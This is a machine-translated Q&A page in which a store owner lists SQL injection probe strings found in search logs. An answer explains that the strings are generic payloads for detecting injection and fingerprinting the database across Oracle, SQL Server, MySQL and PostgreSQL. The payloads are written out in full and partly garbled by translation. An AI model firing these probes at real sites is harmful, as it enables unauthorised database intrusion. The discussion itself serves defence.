繁体   English   中英

商店搜索中的SQL注入模式

[英]SQL Injection pattern in store search

从今天早上开始,我们开始在电子商务商店中关注搜索查询。 我了解它的SQL注入。 我们也在使用参数化查询。 因此它没有造成任何伤害。 但是由于要进行查询,全文搜索需要花费一些时间才能处理,最终导致超时,并且网站被挂起了一段时间。

随即,我将最大的租船人搜索限制为75,并增加了检测sql注入并防止它到达sql server的逻辑,以提高安全性。

我们的环境:ASP.Net电子商务站点SQL Server 2012 Express DB,具有全文搜索功能。 Windows 2012标准服务器。

只想知道搜索者正在试图理解/研究的内容吗? 还是他们只是想挂掉网站? 经过上述修复后,可以安全地忽略它吗?

搜索词如下。 “输入型号或墨盒代码”是我们的默认搜索文本框文本。

输入型号或墨盒代码)AND 2895 =(SELECT UPPER(XMLType(CHR(60)|| CHR(58)|| CHR(113)|| CHR(112)|| CHR(97)|| CHR(122)) || CHR(113)||(从双中选择(当(2895 = 2895)然后1 ELSE 0结束时的情况))|| CHR(113)|| CHR(119)|| CHR(99)|| CHR(121 )||| CHR(113)|| CHR(62)))(9170 = 9170)

输入型号或墨盒代码')AND 3733 = CONVERT(INT,(SELECT CHAR(113)+ CHAR(113)+ CHAR(104)+ CHAR(106)+ CHAR(113)+(选择(当(3733 = 3733)THEN CHAR(49)ELSE CHAR(48)END))+ CHAR(113)+ CHAR(106)+ CHAR(113)+ CHAR(107)+ CHAR(113)))AND('KzHP'='KzHP

输入型号或墨盒代码%'AND(选择2396 FROM(选择计数(*),CONCAT(0x7170617a71,(选择(当(2396 = 2396)然后1否则为0结束时的情况)))),0x7177637971,FLOOR(RAND(0) * 2))x来自INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)和'%'='

输入型号或墨盒代码%'AND 4201 = CONVERT(INT,(SELECT CHAR(113)+ CHAR(112)+ CHAR(97)+ CHAR(122)+ CHAR(113)+(选择(当(4201 = 4201)THEN CHAR(49)ELSE CHAR(48)END))+ CHAR(113)+ CHAR(119)+ CHAR(99)+ CHAR(121)+ CHAR(113)))和'%'='

输入型号或墨盒代码')AND 6442 = CAST((CHR(113)|| CHR(112)|| CHR(97)||| CHR(122)|| CHR(113))||(选择(6442 = 6442)THEN 1 ELSE 0 END)):: text ||(CHR(113)|| CHR(119)|| CHR(99)|| CHR(121)|| CHR(113))为数值) AND('iWJF'='iWJF

输入型号或墨盒代码AND 3733 = CONVERT(INT,(SELECT CHAR(113)+ CHAR(113)+ CHAR(104)+ CHAR(106)+ CHAR(113)+(SELECT(CASE WHEN(3733 = 3733))然后CHAR(49)ELSE CHAR(48)END))+ CHAR(113)+ CHAR(106)+ CHAR(113)+ CHAR(107)+ CHAR(113)))-ZgIZ

输入型号或墨盒代码)AND 6442 = CAST((CHR(113)|| CHR(112)|| CHR(97)|| CHR(122)|| CHR(113))||(选择(在( 6442 = 6442)THEN 1 ELSE 0 END)):: text ||(CHR(113)|| CHR(119)|| CHR(99)|| CHR(121)|| CHR(113))和(8167 = 8167

输入型号或墨盒代码AND 3733 = CONVERT(INT,(SELECT CHAR(113)+ CHAR(113)+ CHAR(104)+ CHAR(106)+ CHAR(113)+(SELECT(CASE WHEN(3733 = 3733))然后CHAR(49)ELSE CHAR(48)END)+ CHAR(113)+ CHAR(106)+ CHAR(113)+ CHAR(107)+ CHAR(113)))

输入型号或墨盒代码,然后输入6442 = CAST((CHR(113)|| CHR(112)|| CHR(97)|| CHR(122)|| CHR(113))||(选择(当(6442 = 6442)THEN 1 ELSE 0 END)):: text ||(CHR(113)|| CHR(119)|| CHR(99)|| CHR(121)|| CHR(113))以数值表示)-铜

作为SQL注入专家,这些似乎只是通用查询,以了解是否存在SQL注入以及它是哪种数据库类型。 您可以看到,在某些情况下,他使用的是CHR(即Oracle的从版本到数字的版本),在其他情况下,他使用的是CHAR(即其他DB的函数名(SQL Server)),在另一种情况下,他使用了INFORMATION_SCHEMA.CHARACTER_SETS table是MySQL中的表格。 他只需发送几个常规查询来查找进样和数据库类型。 但是,如果您的站点对此挂起,除了长度验证外,还应该对特殊字符(方括号?)进行一些更好的输入验证

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM